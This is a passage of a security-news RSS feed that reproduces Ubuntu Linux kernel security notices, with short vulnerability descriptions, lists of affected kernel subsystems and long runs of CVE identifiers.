CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-3: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
